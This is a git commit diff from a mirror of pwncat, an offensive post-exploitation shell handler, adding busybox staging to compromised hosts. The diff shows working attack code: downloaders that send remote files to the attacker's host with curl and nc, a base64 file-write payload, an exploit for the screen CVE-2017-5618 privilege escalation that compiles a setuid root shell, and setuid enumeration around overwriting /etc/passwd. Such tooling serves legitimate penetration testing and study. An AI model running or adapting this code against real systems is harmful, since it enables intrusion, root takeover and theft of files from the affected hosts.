1
0
mirror of https://github.com/calebstewart/pwncat.git synced 2024-11-24 01:25:37 +01:00

Added busybox staging. Still need to fix all the references to the new which method.

This commit is contained in:
Caleb Stewart 2020-05-10 16:12:20 -04:00
parent 18e28be292
commit 96bdb89336
11 changed files with 305 additions and 26 deletions

View File

@ -3,6 +3,13 @@
"name": "cat",
"read_file": "{path} {lfile}"
},
{
"name": "cp",
"write_file": {
"type": "base64",
"payload": "TF=/tmp/.pwncat; echo {data} | base64 -d > $TF; {path} $TF ${lfile}; unlink $TF"
}
},
{
"name": "bash",
"shell": {

View File

@ -22,11 +22,18 @@ def main():
mutex_group.add_argument(
"--reverse",
"-r",
action="store_true",
action="store_const",
dest="type",
const="reverse",
help="Listen on the specified port for connections from a remote host",
)
mutex_group.add_argument(
"--bind", "-b", action="store_true", help="Connect to a remote host"
"--bind",
"-b",
action="store_const",
dest="type",
const="bind",
help="Connect to a remote host",
)
parser.add_argument(
"--host",
@ -47,13 +54,13 @@ def main():
parser.add_argument(
"--method",
"-m",
choices=["none", *PtyHandler.OPEN_METHODS.keys()],
choices=[*PtyHandler.OPEN_METHODS.keys()],
help="Method to create a pty on the remote host (default: script)",
default="script",
)
args = parser.parse_args()
if args.reverse:
if args.type == "reverse":
# Listen on a socket for connections
util.info(f"binding to {args.host}:{args.port}", overlay=True)
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
@ -68,7 +75,7 @@ def main():
except KeyboardInterrupt:
util.warn(f"aborting listener...")
sys.exit(0)
else:
elif args.type == "bind":
util.info(f"connecting to {args.host}:{args.port}", overlay=True)
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect((args.host, args.port))

View File

@ -15,7 +15,7 @@ class CurlDownloader(HTTPDownloader):
lhost = self.pty.vars["lhost"]
lport = self.server.server_address[1]
curl = self.pty.which("curl")
curl = self.pty.which("curl", quote=True)
remote_path = shlex.quote(self.remote_path)
self.pty.run(f"{curl} --upload-file {remote_path} http://{lhost}:{lport}")

View File

@ -15,7 +15,7 @@ class NetcatDownloader(RawDownloader):
lhost = self.pty.vars["lhost"]
lport = self.server.server_address[1]
nc = self.pty.which("nc")
nc = self.pty.which("nc", quote=True)
remote_file = shlex.quote(self.remote_path)
self.pty.run(f"{nc} -q0 {lhost} {lport} < {remote_file}")

View File

@ -19,15 +19,17 @@ class RawShellDownloader(Downloader):
remote_path = shlex.quote(self.remote_path)
blocksz = 1024 * 1024
binary = self.pty.which("dd")
binary = self.pty.which("dd", quote=True)
if binary is None:
binary = self.pty.which("cat")
binary = self.pty.which("cat", quote=True)
if "dd" in binary:
pipe = self.pty.subprocess(f"dd if={remote_path} bs={blocksz} 2>/dev/null")
pipe = self.pty.subprocess(
f"{binary} if={remote_path} bs={blocksz} 2>/dev/null"
)
else:
pipe = self.pty.subprocess(f"cat {remote_path}")
pipe = self.pty.subprocess(f"{binary} {remote_path}")
try:
with open(self.local_path, "wb") as filp:

View File

@ -14,7 +14,7 @@ from pwncat import util
# privesc_methods = [SetuidMethod, SuMethod]
# privesc_methods = [SuMethod, SudoMethod, SetuidMethod, DirtycowMethod, ScreenMethod]
privesc_methods = [SuMethod, SudoMethod, SetuidMethod, ScreenMethod]
privesc_methods = [SuMethod, SudoMethod, ScreenMethod, SetuidMethod]
# privesc_methods = [ScreenMethod]
@ -288,7 +288,8 @@ class Finder:
raise PrivescError("privesc failed")
# We need su to privesc w/ file write
if self.pty.which("su") is None:
su_command = self.pty.which("su", quote=True)
if su_command is None:
raise PrivescError("privesc failed")
# Read the current content of /etc/passwd

View File

@ -24,7 +24,7 @@ from pwncat import util
class ScreenMethod(Method):
name = "screen CVE-2017-5618"
name = "screen (CVE-2017-5618)"
BINARIES = ["cc", "screen"]
def __init__(self, pty: "pwncat.pty.PtyHandler"):
@ -113,15 +113,15 @@ class ScreenMethod(Method):
writer.write_file(
rootshell_c,
textwrap.dedent(
"""
f"""
#include <stdio.h>
int main(void){
int main(void){{
setuid(0);
setgid(0);
seteuid(0);
setegid(0);
execvp("/bin/sh", NULL, NULL);
}
execvp("{self.pty.shell}", NULL, NULL);
}}
"""
).lstrip(),
)

View File

@ -15,6 +15,8 @@ from prompt_toolkit.document import Document
from prompt_toolkit.auto_suggest import AutoSuggestFromHistory
from prompt_toolkit.lexers import PygmentsLexer
import subprocess
import requests
import tempfile
import logging
import argparse
import base64
@ -176,7 +178,7 @@ class PtyHandler:
"script",
]
def __init__(self, client: socket.SocketType):
def __init__(self, client: socket.SocketType, has_pty: bool = False):
""" Initialize a new Pty Handler. This will handle creating the PTY and
setting the local terminal to raw. It also maintains the state to open a
local terminal if requested and exit raw mode. """
@ -190,8 +192,13 @@ class PtyHandler:
self.known_users = {}
self.vars = {"lhost": util.get_ip_addr()}
self.remote_prefix = "\\[\\033[01;31m\\](remote)\\033[00m\\]"
self.remote_prompt = "\\[\\033[01;33m\\]\\u@\\h\\[\\033[00m\\]:\\[\\033[01;36m\\]\\w\\[\\033[00m\\]\\$ "
self.remote_prompt = (
"\\[\\033[01;33m\\]\\u@\\h\\[\\033[00m\\]:\\["
"\\033[01;36m\\]\\w\\[\\033[00m\\]\\$ "
)
self.prompt = self.build_prompt_session()
self.has_busybox = False
self.busybox_path = None
self.binary_aliases = {
"python": [
"python2",
@ -204,6 +211,7 @@ class PtyHandler:
"sh": ["bash", "zsh", "dash"],
"nc": ["netcat", "ncat"],
}
self.has_pty = has_pty
# Setup the argument parsers for local the local prompt
self.setup_command_parsers()
@ -327,9 +335,114 @@ class PtyHandler:
self.privesc = privesc.Finder(self)
# Attempt to identify architecture
self.arch = self.run("uname -m").decode("utf-8").strip()
# Force the local TTY to enter raw mode
self.enter_raw()
def bootstrap_busybox(self, url, method):
""" Utilize the architecture we grabbed from `uname -m` to grab a
precompiled busybox binary and upload it to the remote machine. This
makes uploading/downloading and dependency tracking easier. It also
makes file upload/download safer, since we have a known good set of
commands we can run (rather than relying on GTFObins) """
if self.has_busybox:
util.success("busybox is already available!")
return
busybox_remote_path = self.which("busybox")
if busybox_remote_path is None:
# We use the stable busybox version at the time of writing. This should
# probably be configurable.
busybox_url = url.rstrip("/") + "/busybox-{arch}"
# Attempt to download the busybox binary
r = requests.get(busybox_url.format(arch=self.arch), stream=True)
# No busybox support
if r.status_code == 404:
util.warn(f"no busybox for architecture: {self.arch}")
return
with ProgressBar(f"downloading busybox for {self.arch}") as pb:
counter = pb(int(r.headers["Content-Length"]))
with tempfile.NamedTemporaryFile("wb", delete=False) as filp:
last_update = time.time()
busybox_local_path = filp.name
for chunk in r.iter_content(chunk_size=1024 * 1024):
filp.write(chunk)
counter.items_completed += len(chunk)
if (time.time() - last_update) > 0.1:
pb.invalidate()
counter.stopped = True
pb.invalidate()
time.sleep(0.1)
# Stage a temporary file for busybox
busybox_remote_path = (
self.run("mktemp -t busyboxXXXXX").decode("utf-8").strip()
)
# Upload busybox using the best known method to the remote server
self.do_upload(
["-m", method, "-o", busybox_remote_path, busybox_local_path]
)
# Make busybox executable
self.run(f"chmod +x {shlex.quote(busybox_remote_path)}")
# Remove local busybox copy
os.unlink(busybox_local_path)
util.success(
f"uploaded busybox to {Fore.GREEN}{busybox_remote_path}{Fore.RESET}"
)
else:
# Busybox was provided on the system!
util.success(f"busybox already installed on remote system!")
# Check what this busybox provides
util.progress("enumerating provided applets")
pipe = self.subprocess(f"{shlex.quote(busybox_remote_path)} --list")
provides = pipe.read().decode("utf-8").strip().split("\n")
pipe.close()
# prune any entries which the system marks as SETUID or SETGID
stat = self.which("stat", quote=True)
if stat is not None:
util.progress("enumerating remote binary permissions")
which_provides = [f"`which {p}`" for p in provides]
permissions = (
self.run(f"{stat} -c %A {' '.join(which_provides)}")
.decode("utf-8")
.strip()
.split("\n")
)
new_provides = []
for name, perms in zip(provides, permissions):
if "No such" in perms:
# The remote system doesn't have this binary
continue
if "s" not in perms.lower():
util.progress(f"keeping {Fore.BLUE}{name}{Fore.RESET} in busybox")
new_provides.append(name)
else:
util.progress(f"pruning {Fore.RED}{name}{Fore.RESET} from busybox")
util.success(f"pruned {len(provides)-len(new_provides)} setuid entries")
provides = new_provides
# Let the class know we now have access to busybox
self.busybox_provides = provides
self.has_busybox = True
self.busybox_path = busybox_remote_path
def build_prompt_session(self):
""" This is kind of gross because of the nested completer, so I broke
it out on it's own. The nested completer must be updated separately
@ -372,11 +485,18 @@ class PtyHandler:
style=PwncatStyle,
)
def which(self, name: str, request=True) -> str:
def which(self, name: str, request=True, quote=False) -> str:
""" Call which on the remote host and return the path. The results are
cached to decrease the number of remote calls. """
path = None
if self.has_busybox:
if name in self.busybox_provides:
if quote:
return f"{shlex.quote(self.busybox_path)} {name}"
else:
return f"{self.busybox_path} {name}"
if name in self.known_binaries and self.known_binaries[name] is not None:
# Cached value available
path = self.known_binaries[name]
@ -389,13 +509,16 @@ class PtyHandler:
if name in self.binary_aliases and path is None:
# Look for aliases of this command as a last resort
for alias in self.binary_aliases[name]:
path = self.which(alias)
path = self.which(alias, quote=False)
if path is not None:
break
# Cache the value
self.known_binaries[name] = path
if quote:
path = shlex.quote(path)
return path
def process_input(self, data: bytes):
@ -492,6 +615,31 @@ class PtyHandler:
except KeyboardInterrupt:
continue
@with_parser
def do_busybox(self, args):
""" Attempt to upload a busybox binary which we can use as a consistent
interface to local functionality """
if args.action == "list":
if not self.has_busybox:
util.error("busybox hasn't been installed yet (hint: run 'busybox'")
return
util.info("binaries which the remote busybox provides:")
for name in self.busybox_provides:
print(f" * {name}")
elif args.action == "status":
if not self.has_busybox:
util.error("busybox hasn't been installed yet")
return
util.info(
f"busybox is installed to: {Fore.BLUE}{self.busybox_path}{Fore.RESET}"
)
util.info(
f"busybox provides {Fore.GREEN}{len(self.busybox_provides)}{Fore.RESET} applets"
)
elif args.action == "install":
self.bootstrap_busybox(args.url, args.method)
@with_parser
def do_back(self, _):
""" Exit command mode """
@ -859,6 +1007,9 @@ class PtyHandler:
command = f" {cmd}"
response = b""
eol = b"\r"
if self.has_cr:
eol = b"\r"
# Send the command to the remote host
self.client.send(command.encode("utf-8") + b"\n")
@ -866,10 +1017,10 @@ class PtyHandler:
if delim:
if self.has_echo:
# Recieve line ending from output
self.recvuntil(b"_PWNCAT_STARTDELIM_")
# print(1, self.recvuntil(b"_PWNCAT_STARTDELIM_"))
self.recvuntil(b"\n", interp=True)
self.recvuntil(b"_PWNCAT_STARTDELIM_", interp=True) # first in output
self.recvuntil(b"_PWNCAT_STARTDELIM_", interp=True)
self.recvuntil(b"\n", interp=True)
return b"_PWNCAT_ENDDELIM_"
@ -969,7 +1120,7 @@ class PtyHandler:
self.upload_parser.add_argument(
"--method",
"-m",
choices=uploader.get_names(),
choices=["", *uploader.get_names()],
default=None,
help="set the download method (default: auto)",
)
@ -999,6 +1150,53 @@ class PtyHandler:
self.back_parser = argparse.ArgumentParser(prog="back")
self.busybox_parser = argparse.ArgumentParser(prog="busybox")
self.busybox_parser.add_argument(
"--method",
"-m",
choices=uploader.get_names(),
default="",
help="set the upload method (default: auto)",
)
self.busybox_parser.add_argument(
"--url",
"-u",
default=(
"https://busybox.net/downloads/binaries/"
"1.31.0-defconfig-multiarch-musl/"
),
help=(
"url to download multiarch busybox binaries"
"(default: 1.31.0-defconfig-multiarch-musl)"
),
)
group = self.busybox_parser.add_mutually_exclusive_group(required=True)
group.add_argument(
"--install",
"-i",
action="store_const",
dest="action",
const="install",
default="install",
help="install busybox support for pwncat",
)
group.add_argument(
"--list",
"-l",
action="store_const",
dest="action",
const="list",
help="list all provided applets from the remote busybox",
)
group.add_argument(
"--status",
"-s",
action="store_const",
dest="action",
const="status",
help="show current pwncat busybox status",
)
def whoami(self):
result = self.run("whoami")
return result.strip().decode("utf-8")

View File

@ -7,6 +7,7 @@ from pwncat.uploader.curl import CurlUploader
from pwncat.uploader.shell import ShellUploader
from pwncat.uploader.bashtcp import BashTCPUploader
from pwncat.uploader.wget import WgetUploader
from pwncat.uploader.raw import RawShellUploader
all_uploaders = [
NetcatUploader,
@ -14,6 +15,7 @@ all_uploaders = [
ShellUploader,
BashTCPUploader,
WgetUploader,
RawShellUploader,
]
uploaders = [NetcatUploader, CurlUploader]
fallback = ShellUploader
@ -27,6 +29,9 @@ def get_names() -> List[str]:
def find(pty: "pwncat.pty.PtyHandler", hint: str = None) -> Type[Uploader]:
""" Locate an applicable uploader """
if hint == "":
hint = None
if hint is not None:
# Try to return the requested uploader
for d in all_uploaders:

View File

@ -132,6 +132,7 @@ class RawUploader(Uploader):
# Make sure it is accessible to the subclass
local_path = self.local_path
pty = self.pty
class SocketWrapper:
def __init__(self, sock):
@ -139,7 +140,7 @@ class RawUploader(Uploader):
def write(self, n: int):
try:
return self.s.sendall(n)
return self.s.send(n)
except socket.timeout:
return b""
@ -150,6 +151,7 @@ class RawUploader(Uploader):
with open(local_path, "rb") as filp:
util.copyfileobj(filp, SocketWrapper(self.request), on_progress)
self.request.close()
pty.client.send(util.CTRL_C)
self.server = TCPServer(("0.0.0.0", 0), ReceiveFile)

57
pwncat/uploader/raw.py Normal file
View File

@ -0,0 +1,57 @@
#!/usr/bin/env python3
from typing import Generator, Callable
from io import BufferedReader
import base64
import shlex
import socket
import os
from pwncat.uploader.base import Uploader, UploadError
from pwncat import util
class RawShellUploader(Uploader):
NAME = "raw"
BINARIES = ["dd"]
BLOCKSZ = 8192
def command(self) -> Generator[str, None, None]:
""" Yield list of commands to transfer the file """
remote_path = shlex.quote(self.remote_path)
file_sz = os.path.getsize(self.local_path) - 1
# Put the remote terminal in raw mode
self.pty.raw()
self.pty.process(
f"dd of={remote_path} bs=1 count={file_sz} 2>/dev/null", delim=False
)
pty = self.pty
class SocketWrapper:
def write(self, data):
try:
n = pty.client.send(data)
except socket.error:
return 0
return n
try:
with open(self.local_path, "rb") as filp:
util.copyfileobj(filp, SocketWrapper(), self.on_progress)
finally:
self.on_progress(0, -1)
# Get back to a terminal
self.pty.client.send(util.CTRL_C)
self.pty.reset()
return False
def serve(self, on_progress: Callable):
""" We don't need to start a server, but we do need to save the
callback """
self.on_progress = on_progress